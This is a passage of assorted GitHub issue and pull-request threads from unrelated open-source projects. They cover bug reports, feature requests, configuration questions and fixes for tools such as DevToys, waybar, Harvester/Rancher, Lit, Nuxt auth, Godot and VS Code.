for (var i = 0;i<apiResult.data.length;i++) {
var r = apiResult.data[i];
r["GT_RowId"]=i;
data.rows.push(r);
}
var url = URL.createObjectURL(new Blob([JSON.stringify(data)], { type: 'application/json' }));
resolve(url)
})
})
and then in the settings:
...
ajax: getUrl()
}

Now I see the point and will recode function to test if it is a Promise object to accept url from it.
Thx

Use the https://www.npmjs.com/package/valid-url lib for ReactJS to validate url before passing it to fetch function.

Validating URL is not the problem, the issue is that a the moment component expects string and so it gets called right away, I need async (Promise) so the data is returned when ready.

No offense, this is just a memo for myself to implement an additional functionality. There will be a Promise object to accept url from another Promise, as mentioned previously.
PS by the way, why don't you propose a pull request - it seems like u know what u are doing? =)

You can check new algorithm at master, would u mind to add star, so more developers will contribute to this little project?


Update md5sum to sha256sum

With the recent supply chain attacks associated with Codecov, it is imperative that checksum verification of downloadable files should be kept in place. sha256sum is more secure compared to md5sum in this regard, since md5sum is highly prone to a collision attack.

Closing this. Please open a github issue for checksum verification. Thanks!


tautulli: 2.10.5 -> 2.11.0

Things done

Built on platform(s)

[X] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[X] Tested basic functionality of all binary files (usually in ./result/bin/)
23.05 Release Notes (or backporting 22.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[X] Fits CONTRIBUTING.md.

Thanks!  If you want to take over this package, that would be great. Sorry I haven’t been able to keep up with it; I wouldn’t want to be an obstacle.

Thanks! If you want to take over this package, that would be great. Sorry I haven’t been able to keep up with it; I wouldn’t want to be an obstacle.

No problem since I use tautulli I'm interested in keeping it updated. Should I remove you from the maintainer? I don't think it makes a difference if you are in the maintainer list.

I’m not using Tautulli any longer, go ahead & remove me.  Thanks


dont pass app to QtToolTipEventFilter

Description
I think this fixes #3813  (cc @melissawm)
incidentally, I think this will also fix the various mysterious bus errors that have been showing up in the last couple months on quitting the program.
@goanpeca ... I can't remember where a good place to check that the desired tooltip behavior is still happening.  Can you remember how you confirmed that QtToolTipEventFilter was working?
Type of change

[ ] Bug-fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] This change requires a documentation update

References

How has this been tested?

[ ] example: the test suite for my feature covers cases x, y, and z
[ ] example: all tests pass with my change

Final checklist:

[ ] My PR is the minimum possible work for the desired functionality
[ ] I have commented my code, particularly in hard-to-understand areas
[ ] I have made corresponding changes to the documentation
[ ] I have added tests that prove my fix is effective or that my feature works
[ ] If I included new strings, I have used trans. to make them localizable.
For more information see our translations guide.

this one should get in please. it is preventing docs building locally (see #3813), and is likely causing a lot of shutdown errors (like bus errors, etc...).
cc @sofroniewn, @alisterburt, @jni


make check fail on centos7

Issues:
ok 181 - hrtime
not ok 182 - getaddrinfo_fail
exit code 134
Output from process getaddrinfo_fail:
Assertion failed in test/test-getaddrinfo.c on line 43: status < 0
not ok 183 - getaddrinfo_fail_sync
exit code 134
Output from process getaddrinfo_fail_sync:
Assertion failed in test/test-getaddrinfo.c on line 117: 0 > uv_getaddrinfo(uv_default_loop(), &req, NULL, "xyzzy.xyzzy.xyzzy.", NULL, NULL)
ok 184 - getaddrinfo_basic
Vers:  libuv version  1.13.1
Platform:  centos7

We see these fail from time to time. It's because your resolver somehow thinks "xyzzy.xyzzy.xyzzy." is a valid domain. It's not.
Closing as it's not a libuv issue.


poc for relop_dispatch()

This is a quick and dirty hack to find out which variant is selected, i.e. :
> duckdbrfuns:::relop_dispatch(1, 2)
DOUBLE + DOUBLE
> duckdbrfuns:::relop_dispatch(1L, 2)
INTEGER + DOUBLE
> duckdbrfuns:::relop_dispatch(1, 2L)
DOUBLE + INTEGER
>
> duckdbrfuns:::relop_dispatch(Sys.Date(), Sys.Date())
VARCHAR + VARCHAR
> duckdbrfuns:::relop_dispatch(Sys.time(), Sys.time())
VARCHAR + VARCHAR
> duckdbrfuns:::relop_dispatch("hello", Sys.time())
VARCHAR + VARCHAR

I think base_r_relop_dispatch  should instead bd generated, but perhaps we should figure out how to leverage FunctionBinder::BindFunctionsFromArguments().

Do we need to merge this? I wonder if we should add general-purpose logging instead or in addition.
What do you mean with "autogenerating base_r_relop_dispatch"?

I mean something that would take the SclaraFunctionSet that base_r_eq() is making and make another SclaraFunctionSet from it that just tells which variant would be selected.

How would it "tell"? Logging?
Do you think a decorator could help with that?

Closing this because #56 will be a better alternative


Add Clojure as supported language

Is your feature request related to a problem?
No.
What solution would you like?
Add syntax highlighting for clj/cljs files as Clojure code.
What alternatives have you considered?
No alternative.
Any additional context?
No response

I'm keeping a running list of languages to add support for in future updates and have added Clojure to the list.


reversed 2.3.2 and configure aliased providers fully

@karthicgit

Tested the PR with below usecase
1.user configure provider.tf and no oci-cli configured.The values given in provider.tf will be picked .
2.user has oci-cli configured and no provider.tf is used. The configuration mention in oci-cli will take preference .For example if the user has mentioned region as ca-toronto-1 in tf.vars but oci-cli config has region as us-phoenix-1 the resources will get created in pheonix.

Thanks. We should make sure that we don't depend on the oci-cli config for provider config.


Acrylic effect on Windows 10 causes performance issues, while not working at all

Current behavior
Acrylic effect on Windows 10 doesn't seem to work at all and while not working causes performance issues when window
is moved or resized with high-pooling rate mouse.
How to reproduce it (as minimally and precisely as possible)
Start GUI on W10 (19045.4529), observe lack of acrylic.
Then move/resize the window with mouse that has high pooling rate (observable with 250Hz and up on my system), window would be severely lagging behind your mouse input.
Note that for some reason performance side of the problem goes away if VS debugger with enabled XAML Hot Reload is attached. So disable it if you need to debug: Tools > Options > Debugging > XAML Hot Reload > Enable XAML Hot Reload.
Expected behavior
Fixing both would be cool, but I personally don't care for acrylic, so would be happy just to not have window lag behind cursor.
Screenshots

Settings app with working acrylic
Custom build where AccentState is not set
v<IP_ADDRESS> release

https://github.com/DevToys-app/DevToys/assets/3948703/96940d23-6b49-4965-969c-99a57516990a
Yea, you saw a second cursor with current release in the end -- all window manipulation events get queued up and executed with phantom cursor long after I released mouse button
Workaround
As currently acrylic effect doesn't seem to work at all you could just not set
AccentState = AccentState.ACCENT_ENABLE_ACRYLICBLURBEHIND,
in MicaWindowWithOverlay.xaml.cs:406 and moving/resizing performance issue goes away.
That leads to background changing from solid neutral gray to pure white, but that seems like an easy thing to fix (probably not even a problem as you could see on the video above)
Affected platforms
Windows
Affected DevToys kind
DevToys (app with GUI)
DevToys Version
tag: v<IP_ADDRESS>
Relevant Assets/Logs
No response

Hi,
Thanks for sharing this feedback. I'm sorry but I'm not perceiving the lag on the video you shared. Do you have a high refresh monitor perhaps? Mine is 60Hz.

Do you have a high refresh monitor perhaps? Mine is 60Hz.

Yes, but video is only 30 fps, so shouldn't be a problem.

I'm sorry but I'm not perceiving the lag on the video you shared.

Look how fast movement happens and how sporadically velocity changes of first two windows, that's how I move the mouse.
Then compare how third window behaves, while I move the mouse in the very same fashion - window pans really slow in comparison and does so at almost constant speed.
My guess is that each movement event causes a redraw or some other blocking call, which executes at more or less consistent speed, thus making window move at more or less constant speed of 1px per update.
Maybe it's a bit hard to feel on that video if you're not the one that recorded it 😁
If that's the case, then there's way more obvious red flag:

Yea, you saw a second cursor with current release in the end -- all window manipulation events get queued up and executed with phantom cursor long after I released mouse button

Window continues to moves for whole second (!) after I've released the mouse button and stopped any movement, second cursor that's static is the real one. E.g. look at 0:32, see clicking hand cursor popping in? That's the real mouse position, I'm not moving mouse anymore and just waiting for it to processes all movements I did with the window.

Thanks for these details! I believe I have a fix here: https://github.com/DevToys-app/DevToys/pull/1265

Yep, all good in v<IP_ADDRESS> 👍


battery: Add {cycles}, {health} format replacements

This PR adds the following format replacements to the battery module (currently for Linux only):

[x] {cycles} - Displays the amount of charge cycles the selected1 battery has seen.
[x] {health} Displays a percentage representing the selected1 batteries max charge, relative to it's design (original) max charge.

Battery selection1
Currently, both of the new format replacements select the battery candidate with the highest charge_full_design. This seemed the most intuitive for {cycles}, and I have applied the same logic to {health} to stay consistent with this. Should multiple batteries have the same charge_full_design, the "worse" value (i.e. higher cycle count, lower health percentage) is displayed.
However, I could also imagine using a charge_full_design weighted average of all eligible batteries' percentages for {health}, so it could represent the health of a full battery array.

floating point literal has suffix 'f', which is not uppercase

These warnings are (as far as I can tell) all caused by pre-existing code (the one float this PR introduces uses an uppercase F). Should I change them anyways?

function 'getInfos' has cognitive complexity of 224 (threshold 25)

This was far over threshold before, and I would prefer to not refactor (rewrite) that thing. Would it be acceptable to just add to it in this case?

function 'update' has cognitive complexity of 26 (threshold 25)

That one I could probably manage, if required.

Don't worry about clang-tidy, we need to adjust it :)
Thanks!
Can you also update the Github wiki?

Thank you for merging, and maintaining this project in general :)

Can you also update the Github wiki?

Done!

I've updated waybar to 0.10.1, updated config, reloaded waybar:
...
"format-alt": "{time} {health} {cycles} {icon}",
...

but got this error:
[2024-04-23 11:48:31.588] [error] battery: argument not found
with just {health} or {cycles} either.
What should I check on my Arch Linux?

with just {health} or {cycles} either.

Did you try each one independently, or both at once?
After looking at the code again, it does appear like I did, in fact, never add {health} for the regular formatting, only the hover-tooltip (oops). However, {cycles} should already be registered for the "main" label.

I've opened #3167 to address {health} not being registered, along with any other issues that could be related here.

Did you try each one independently, or both at once?

I tried them independently and both:
..
"format-alt": "{time} {health} {icon}",
..
"format-alt": "{time} {cycles} {icon}",
..
"format-alt": "{time} {health} {cycles} {icon}",
..

only the hover-tooltip

Ok then, I've updated config to:
"tooltip-format": "{health} {cycles} {capacity}%",

There are no errors, but tooltip gives me only 0 0 95%
Also, I compiled 1.10.2 + fix above. Now it works as format-alt and tooltip-format both, but shows 0 0 only.
I should I do next?

I have this files, not capacity but energy:
$ ls -la /sys/class/power_supply/*/*_full{,_design}
-r--r--r-- 1 root root 4096 Apr 24 15:10 /sys/class/power_supply/BAT1/energy_full
-r--r--r-- 1 root root 4096 Apr 24 15:10 /sys/class/power_supply/BAT1/energy_full_design

$ \ls -la /sys/class/power_supply/*/cycle_count
-r--r--r-- 1 root root 4096 Apr 24 15:10 /sys/class/power_supply/BAT1/cycle_count

$ cat /sys/class/power_supply/*/*_full{,_design}
26000000
47520000

$ cat /sys/class/power_supply/*/cycle_count
0

Thank you. I will implement checking for energy_full and energy_full_design in the new PR, so that {health} should work. I don't think there's anything we can do about {cycles} though, unfortunately :(

Compiled again with fixes

Now show in text-alt and in tooltip too.
As for {cycles}- file exists and contain a number, I think it's a battery issue, not the waybar.
Thanks a lot!


Fixed: ioutil.ReadFile is deprecated

Description
Fixed: ioutil.ReadFile is deprecated
Fixes #CCXDEV-8486
Type of change

Bug fix (non-breaking change which fixes an issue)

Testing steps
Done on CI
Checklist

[ ] make before_commit passes
[ ] updated documentation wherever necessary
[ ] added or modified tests if necessary
[ ] updated schemas and validators in insights-data-schemas in case of input/output change

Codecov Report

Merging #137 (20f6496) into master (73249d1) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master     #137   +/-   ##
=======================================
  Coverage   57.63%   57.63%
=======================================
  Files           7        7
  Lines         845      845
=======================================
  Hits          487      487
  Misses        320      320
  Partials       38       38

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 73249d1...20f6496. Read the comment docs.


[C++][Python] Handling FIXED_SIZE_LIST, STRUCT, RUN_END_ENCODED Types in type_traits.h

Describe the enhancement requested
Despite existing checks for FIXED_SIZE_LIST, STRUCT, RUN_END_ENCODED types in type_traits.h, direct usability issues have been identified.
This issue aims to revisit and possibly revise their implementation to ensure seamless integration and usage within pyarrow, further expanding its type support.
This issue is related to the following issues and PR:

https://github.com/apache/arrow/issues/40282
https://github.com/apache/arrow/pull/40761

Component(s)
C++, Python

take

I don't know if this issue needs to be resolved.
I am closing the issue as it is not clear about the issue I previously wanted to address.


Include version for keylime-controller chart

This change allows fixing compilation issue being
dumped when executing make helm-keylime rule:
...
Error: dependency "keylime-controller" has an invalid version/constraint format: improper constraint:
...
Resolves: #56

oh crap, i opened a parallel PR to this one solving the same problem.
Under the circumstances -- since this one precedes mine -- we should merge this first, and I'll adjust my PR, rebase it.


Fixed outdated ECR credential debug message

The log message for troubleshooting kubelet auto fetching ECR credentils issue has been changed (noticed since 1.14), and the new message reads like this when verbose log level is set to 3:
  - `aws_credentials.go:109] unable to get ECR credentials from cache, checking ECR API`
  - `aws_credentials.go:116] Got ECR credentials from ECR API for <Your ECR AWS Account ID>.dkr.ecr.us-east-1.amazonaws.com`

This is based on the kubelet source code (1.14):
https://github.com/kubernetes/kubernetes/blob/release-1.14/pkg/credentialprovider/aws/aws_credentials.go#L91
I also checked the new message applies to latest version 1.17 as well.
This PR is to fix this and to avoid confusion for more people who are troubleshooting the kubelet ECR issue.

CLA signed.


[FEATURE] Ability to use extenal Rancher to provide /v3 API

Is your feature request related to a problem? Please describe.

Rancher integrates multiple authentication methods and RBAC.
Harvester deployed through Chart should also be able to reuse this part of the capability by connecting to an external Rancher.
Describe the solution you'd like

Access Rancher by configuring KUBECONFIG for the external Rancher local cluster
Describe alternatives you've considered

Additional context

test plan:

prepare a k8s cluster and a external rancher server
save extranal rancher's kubeconfig to a file ( filename must be kubernetes.kubeconfig)
create secret in the k8s cluster:

kubectl create ns harvester-system
kubectl -n harvester-system create secret generic rancher-kubeconfig --from-file=kubernetes.kubeconfig

use --set containers.apiserver.authMode="rancher"  and  --set rancherURL="rancher server URL"  during helm install
eg:

helm install harvester deploy/charts/harvester -n harvester-system \
    --set multus.enabled="true" \
    --set multus.hostPath.cniConfDir=/etc/cni/net.d \
        --set multus.hostPath.cniBinDir=/opt/cni/bin \
        --set multus.args={"--multus-kubeconfig-file-host=/etc/cni/net.d/multus.d/multus.kubeconfig"} \
    --set longhorn.defaultSettings.taintToleration="kubevirt.io/drain:NoSchedule" \
    --set service.harvester.type="NodePort" \
    --set service.harvester.httpsNodePort="30443" \
    --set containers.apiserver.authMode="rancher" \
    --set rancherURL="https://<IP_ADDRESS>:30443"

try to login harvester

IsDoest this only require testing internal rancher authentication, or any of the new auth types going into v0.3.0?

I tried to get this running, but the harvester nodes keep crash looping. I'm getting this error in the logs on the pod.
time="2021-06-09T21:49:51Z" level=info msg="Starting controller"
time="2021-06-09T21:49:51Z" level=fatal msg="failed to create harvester server: invalid configuration: no configuration has been provided, try setting KUBERNETES_MASTER environment variable"

I tried this with a multi-node RKE cluster before, but to simplify it I went with was the setup.

1 RKE Node (Etcd, worker, and controlplane) (16gb RAM, 6cpu)
Rancher HA setup with 3 nodes

that could be the configmap that u have created via kubectl -n harvester-system create secret generic rancher-kubeconfig --from-file=kubernetes.kubeconfig either not contains the correct path or the file is invalid. Will ask the dev to verify this issue, thanks.

test plan:

Prepare a k8s cluster and a external Rancher server
Import this k8s cluster to Rancher server
Save extranal Rancher's kubeconfig to a local file ( filename must be kubernetes.kubeconfig)
Create secret in the k8s cluster:

kubectl create ns harvester-system
kubectl -n harvester-system create secret generic rancher-kubeconfig --from-file=kubernetes.kubeconfig

Use --set containers.apiserver.authMode="rancher"  and  --set rancherURL="rancher server URL"  during helm install
eg:

helm install harvester deploy/charts/harvester -n harvester-system \
    --set multus.enabled="true" \
    --set multus.hostPath.cniConfDir=/etc/cni/net.d \
        --set multus.hostPath.cniBinDir=/opt/cni/bin \
        --set multus.args={"--multus-kubeconfig-file-host=/etc/cni/net.d/multus.d/multus.kubeconfig"} \
    --set longhorn.defaultSettings.taintToleration="kubevirt.io/drain:NoSchedule" \
    --set service.harvester.type="NodePort" \
    --set service.harvester.httpsNodePort="30443" \
    --set containers.apiserver.authMode="rancher" \
    --set rancherURL="https://<IP_ADDRESS>:30443"

Try to log in harvester

Before logging into harvester, you need to import the harvester cluster to rancher
Verify harvester version master-158a35d3-head，rancher:2.4.8 and rancher:2.4.7
The following figure shows the harvester and rancher local deployment based on rke k8s distribution and hardware configuration

Create users user1 and user2 in the rancher and give them the roles of cluster owner and project owner respectively under the harvester cluster
In the login page of harvester ui, use admin, user1, user2 to login respectively

Login successfully
Create vm successfully respectively
Function module verification after login
Users/Functions | Dashboard | Host | Projects/Namespaces | Virtual Machines | Volumes | Images | Users&Authentication | Advanced | Templates | Backups | Networks | SSH Keys | Cloud Config Templates | Settings
---|-- | ---|-- | ---|-- | ---|-- | ---|-- | ---|-- | ---|-- | ---|-- | ---|-- | ---|-- | ---
root | yes | yes | yes | yes | yes | yes | yes | yes | yes | yes | yes | yes | yes | yes | yes
user1 | yes | yes | yes | yes | yes | yes | yes | yes | yes | yes | yes
user2 | no | no | no | yes | yes | yes | no | yes | yes | yes | no


Validator do not allow customError

What is affected?
Accessibility, Component
Description
A validator using setCustomValidity as below will never cause an invalid event to be dispatched.
export class MyValidator extends Validator<any>{
  private checkboxControl?: HTMLInputElement;

  protected override computeValidity(state) {
    if (!this.checkboxControl) {
      this.checkboxControl = document.createElement('input');
      this.checkboxControl.type = 'checkbox';
    }
    this.checkboxControl.setCustomValidity('Get rid of me');

    console.warn('I should be invalid', this.checkboxControl.validity)
    return {
      validity: this.checkboxControl.validity,
      validationMessage: this.checkboxControl.validationMessage,
    };
  }

This is due to the Safari workaround here, causing the customError flag to always be false.
Otherwise new validators are great
Reproduction
https://lit.dev/playground/#gist=2fecd21c77070203e5472131ffc9b199
Workaround
Force an error on another flag, but this is not really nice:
 protected override computeValidity(state: RecordState) {
    if (!this.selectControl) {
      // Lazily create the platform select
      this.selectControl = document.createElement('input');
    }
    let customError = '';
    if(state.currentDuration > state.maxDuration) {
      customError = 'Recording is too long';
    }
    if(customError) {
      // we force an error because validator [syncValidation] has a bug
      // with customError
      this.selectControl.value = '';
      this.selectControl.required = true;
      this.selectControl.setCustomValidity(customError);
    } else {
      this.selectControl.value = state.value;
      this.selectControl.required = state.required;
    }
    return {
      validity: this.selectControl.validity,
      validationMessage: customError || this.selectControl.validationMessage,
      // validationMessage: this.selectControl.validationMessage,
    };
  }

Is this a regression?
No or unsure. This never worked, or I haven't tried before.
Affected versions
Failing in v1.1.1
Browser/OS/Node environment
Latest chrome on linux

I think this could be supported by changing this line in the constraint validation mixin to also check the Validator's computed custom error:
const customError = !!this[privateCustomValidationMessage] || validity.customError;

Calling myControl.setCustomValidity('user-set error') would then override any custom errors the control set for itself.
Want to send in a PR?

Want to send in a PR?


[WFLY-17062] Remove remaining mentions to subsystem=security in Elytron guide

https://issues.redhat.com/browse/WFLY-17062

@fjuma Can you please review?

@Skyllarr will you be able to make the requested changes on Monday, Oct 31? I want to wrap up merging things for WF 27 tomorrow.

@fjuma Thanks for review! I have updated my PR accordingly. Can you please review again?

Thanks @Skyllarr


[otbn,rtl] Glitch in the STATUS register on way to LOCKED after an RMA

Description
If an RMA request comes in when OTBN is idle, the STATUS register spends a cycle LOCKED (0xff), before jumping to secure wipe (0x04) for a while before it finally goes back to LOCKED.
It happens as follows:

When OTBN is idle, otbn_controller will be in state OtbnStateHalt and otbn_start_stop_control will be in state OtbnStartStopStateHalt.
Suppose an RMA request comes in.
This appears to the controller as as lc_rma_req_i and the controller jumps to OtbnStateLocked.
The controller exposes a locking_o signal, which essentially controls forces the STATUS register to be LOCKED. This is computed as follows:

    assign locking_o = (state_d == OtbnStateLocked) & (~(secure_wipe_running_i | secure_wipe_req_o) |
                                                       urnd_reseed_err_i | mubi_err_d);

The idea is that we want STATUS to become LOCKED once the secure wipe has finished running.
Unfortunately, secure_wipe_running_i lags behind state_d here! It is computed by otbn_start_stop_control, where it is the value of secure_wipe_running_q.
There's a cycle where state_d is OtbnStateLocked and secure_wipe_running_d is true, but secure_wipe_running_q (the registered value) hasn't yet gone high.
The end result is that STATUS is LOCKED for a single cycle and then jumps to the secure wipe state for a while before going back to LOCKED. This contradicts the idea that the LOCKED status is terminal.

This is not a particularly critical bug, as it only exposes itself as a weird transient value in a status register. And I only found it because some of the DV code looks at that register every cycle. But I think it's probably worth fixing in a future version.
Here are some waves showing the problem. The final row is the value of status_q in otbn.sv, which is exposed directly as the contents of the STATUS register.

Thanks for flagging this @rswarbrick . I think your assessment that this isn't a critical bug is absolutely correct.. The check whether RMA entry is successful or not isn't done by software by checking the OTBN status register but rather by LC_CTRL which sends out the RMA requests and collects the acknowledgements from Flash and OTBN. After initiating the transition, the process is quite hardware driven.
But I also agree that we should fix this in a future version. I am thus adding the corresponding label.


Redirect doesn't work on login

Version ^2.3.2
On logout it works, but when I try to login it doesn't redirect to /
  auth: {
    strategies: {
      laravelSanctum: {
        sessionStorage: true,
        provider: "laravel/sanctum",
        url: process.env.API_URL,
        endpoints: {
          csrf: {
            url: '/sanctum/csrf-cookie',
          },
          login: {
            url: "/api/admin/login"
          },
          user: {
            url: "/api/admin/user"
          },
          logout: {
            url: "/api/admin/logout"
          }
        }
      }
    },
    redirect: {
      login: "/login",
      logout: "/login",
      callback: "/login",
      home: "/"
    }
  },

same issue for me, there is no example to use this package

i resolved redirection issue that way:
auth: {     strategies: {       local: {         token: {           property: "token",           global: true,         },         user: {           property: "user",           autoFetch: true,         },         endpoints: {           login: { url: "/login", method: "post" },           logout: { url: "/logout", method: "post" },           user: { url: "/user", method: "get" },         },       },     },     globalMiddleware: true,     watchLoggedIn: true,     redirectStrategy: "query",     redirect: {       login: "login",       logout: "login",       home: "/",     },   },
but how define baseURL globally,
http: { baseURL: ... }, doesn't work

I solve this by creating a file in the plugin dir, then wrote the code below:

export default defineNuxtPlugin(nuxtApp => {

    $http.setBaseURL("base_url_here")

})


can't find pylint installed as python3-pylint

Under Fedora, package python3-pylint installs itself as /usr/bin/python3-pylint.
Spyder 2.3.4 however only looks for "pylint" in PYLINT_PATH and get_pylint_version().

Seems like an easy fix @pijyoi, want to give it a try?

@pijyoi, are you sure that the executable is called python3-pylint and not pylint3?

Don't worry, I verified that's the case :-)

This fix will be released as part of Spyder 3.0, in a couple of months. Thanks for reporting :-)


Load files after drag and drop from outside to make them searchable

Issue Type: Bug

Open new empty VSCode window.
Drag some files to the window with mouse. Do not open a folder.
Press Ctrl+Shift+F. Try to search something. Only file in active tab is searched.
Click some other tabs. After a tab is clicked a file in it gets searchable.

VS Code version: Code 1.26.0 (4e9361845dc28659923a300945f84731393e210d, 2018-08-13T16:29:31.933Z)
OS version: Windows_NT x64 10.0.17134

System Info

Item
Value

CPUs
Intel(R) Core(TM) i5-2500K CPU @ 3.30GHz (4 x 3399)

GPU Status
2d_canvas: enabledchecker_imaging: disabled_offflash_3d: enabledflash_stage3d: enabledflash_stage3d_baseline: enabledgpu_compositing: enabledmultiple_raster_threads: enabled_onnative_gpu_memory_buffers: disabled_softwarerasterization: unavailable_softwarevideo_decode: unavailable_softwarevideo_encode: enabledwebgl: enabledwebgl2: enabled

Memory (System)
15.98GB (9.80GB free)

Process Argv
C:\Users\Entropy\AppData\Local\Programs\Microsoft VS Code\Code.exe --disable-extensions

Screen Reader
no

VM
0%

Extensions disabled

@bpasero Hmm. This is not feature request. Previous VSCode version worked fine.

@Oblomoff in which version did it work for you?

Yeah I take it back, this should actually work.
@roblourens can you please check, we used to have code that would add any file that is opened which is not part of the workspace as additional files to search in. I can reproduce that the files that are not opened (aka not in memory) are no longer searched in.

Looks like this only affects open windows, and files that aren't loaded, but it is a regression.


Update release-notes-changelog.md

Closes #
Describe your proposed changes here.

[ ] Signed the InfluxData CLA
(if necessary)
[ ] Tests pass (no build errors)
[ ] Rebased/mergeable

Thank you, @mia-joy-liang !


Documentation needs update

I just saw some changes in the config file. However, it is not easy for me to understand (sorry), especially those lines, what do they do?
"encrypt_location": "",
"heartbeat_threshold": 10,

also,
{ "type":	"NicknamePokemon",
"config": { "enabled": true, "good_attack_threshold": 0.9 ...
what does "good_attack_threshold": 0.9 do?
does it not nickname the pokemon for attack < 0.9 (I don't think it's the case when i look at my pokemons)
or does it use the capital/small letter for the attack moves?
Thank you very much!

Character codes for fast/charged attack types.
If attack is good character is uppecased, otherwise lowercased.
Use 'good_attack_threshold' option for customization.

I take that to mean that setting to mean that only attacks of 90% or better will be uppercased.

@RedViper9 Thank you, i'll edit my post.

encrypt_location is the location of the encrypt.so file (i think)
heartbeat_threshold - is how many seconds should be used between requests to server for player information etc. This was every second before which was unnecessarily often, 10secs should be fine so probably leave the config on 10

Can someone create a pull request out of the missing information please :)

"encrypt_location": "",
Point it to the location of encrypt.so/dll, if you put it in this Pogo-bot dir just leave it as blank
"heartbeat_threshold": 10,
It means to access to niantic api server every 10 seconds.

@simonsmh already answered :p

where is this documented so I can make a PR while fixing other stuff? @k4n30

In this conversation history, it needs to be added to https://github.com/PokemonGoF/PokemonGo-Bot/blob/dev/docs/configuration_files.md

yes I do agree. I just fetched from upstream (almost every day) and I came across a new task that is not described:
{
"type": "CatchPokemon",
"config": {
"catch_visible_pokemon": true,
"catch_lured_pokemon": true,
"min_ultraball_to_keep": 10,
"catch_throw_parameters": {
"excellent_rate": 0.1,
"great_rate": 0.5,
"nice_rate": 0.3,
"normal_rate": 0.1,
"spin_success_rate" : 0.6
},
"catch_simulation": {
"flee_count": 3,
"flee_duration": 2,
"catch_wait_min": 2,
"catch_wait_max": 6,
"berry_wait_min": 2,
"berry_wait_max": 3,
"changeball_wait_min": 2,
"changeball_wait_max": 3
}
}
},
@quantra and the source code catch_pokemon.py has no comment on the reason to introduce this new class / task.

@Gurzeh  Have a look at pull request: #3966

@Quantra thanks!

https://github.com/PokemonGoF/PokemonGo-Bot/blob/dev/configs/config.json.example#L169
Also needs config_files.md addition too - I added it to the PR, but it was merged anyway

#4283 Expanding the discussion. Looks like your particular problem was solved. Closing.


How does the UdpHandler judge the end of UDP connecttion?

请问项目是如何判断 UDP 连接已经结束并释放资源的？
https://github.com/mightofcode/android-vpnservice/blob/228dd77e8db010c81ea3c5b7b258590be5a78f88/app/src/main/java/com/mocyx/basic_client/bio/BioUdpHandler.java#L199-L202
这里似乎是唯一移除 natsession 的地方。但是触发条件仅是发送失败（UDP 发送失败要么是断网要么是服务器地址错误）。如果正常发送完成并接收完回复，udp 连接会自动释放，但 natsession 似乎没有释放。
而且还有一种情况是服务器地址合法，但是服务器不在线，或者服务器不回复，这种情况下是不会出异常的。如果不设置超时，UDP 客户端会一直阻塞在“等待服务器回复”这个阶段。
This seems to be the only place to remove natsession. But the trigger condition is only sending failure (UDP sending failure is either due to disconnection or wrong server address). If the connection is completed and the client have received reply from
the server, the UDP connection will be auto closed, but the natsession does not seem to be released.
There is also a situation where the server address is correct, but the server is not online, or the server does not reply. In this case, there will be no exception. If the timeout is not set, the UDP client will always be blocked in the "waiting for server reply" stage.

没错，这里需要优化

我试着在逻辑里加一个定时，检查超时无活动的UDP会话
目前没有发现问题
https://github.com/Attect/Android-VpnService-Demo/blob/5d17689eba4501a8bff362b8f786b3c753b3f358/app/src/main/java/studio/attect/demo/vpnservice/VPNQueue.kt#L381


multi-bit equality branching

Summary of changes
Unroll branching for multi-bit equality. Closes #52.

Thanks for the work @arulandu ! Suggested some changes but overall looks good.


Restore 2d editor's zoom behavior from 3.0.6 back to a 2x / 0.5x multiplier

Godot version:

3.1 beta 3 (and many earlier versions of 3.1)
Issue description:
Sometime after 3.0.6 the zoom buttons in the 2D editor have changed from doubling/halving the zoom level to changing the zoom level at a rate of 1.5x:
44.4%, 66.7%, 100%, 150%, 225%, 337.5%, 506.3%
This has the effect of making it difficult to judge a game's graphics at an even ratio, which is particularly annoying when making a game without texture filtering enabled.

I think changing the zoom by x2 is a too strong ratio, but I agree it should be possible to get the 200%, 400%, etc... values.

I consider this a regression.

Perhaps the solution that would allow both integer scaling and many scaling levels is to zoom by √2 (1.414) each time instead of 1.5, such that zooming twice would zoom by 2x or 0.5x.

Some programs have seamless / smooth zooming, but when you get close to those 100% 200% 300% etc increments it snaps to them and sticks to them for a bit until you scroll the mousewheel a bit further before continuing smoothly zooming.


feat: add seed cli command

Seed CLI command bootstraps an entire org structure with project, resource, users and custom permission and roles in shield db to test the shield deployment.
This PR also adds missing handlers for Creating platform wide roles and deleting them, fixes minor bugs in user repo

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

21 of 247 (8.5%)  changed or added relevant lines in 4 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage decreased (-0.9%) to 42.704%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

internal/api/v1beta1/role.go
0
49
0.0%

cmd/seed.go
17
194
8.76%

Totals

Change from base Build<PHONE_NUMBER>:
-0.9%

Covered Lines:
4299

Relevant Lines:
10067

💛  - Coveralls


Creation of links object from bibtex is losing some records

Now that links is an object, the bibtex parser is causing some error when parsing it. as standard, bulk upsert ignores and keeps going, resulting in about 100 of the test pitman bibtex records silently failing to hit the index. turning from bulk upsert to normal upsert shows the error - an apparent EOF in the link object. But I can't find it. Will have to look again.

This is still true. Appears to be an error in elasticsearch. Will try to avoid it by chaning our dynamic mapping. have submitted a comment on a running ticket on ES repo about this.

Fixed by change of dynamic mapping to avoid object level mappings, but to recurse to their string subcomponents.


Missing implementation

This just started breaking my tests today.
graphql: ^5.1.1
./../../../.pub-cache/hosted/pub.dartlang.org/graphql-5.1.1/lib/src/links/websocket_link/websocket_client.dart:470:7: Error: The non-abstract class 'GraphQLWebSocketChannel' is missing implementations for these members:
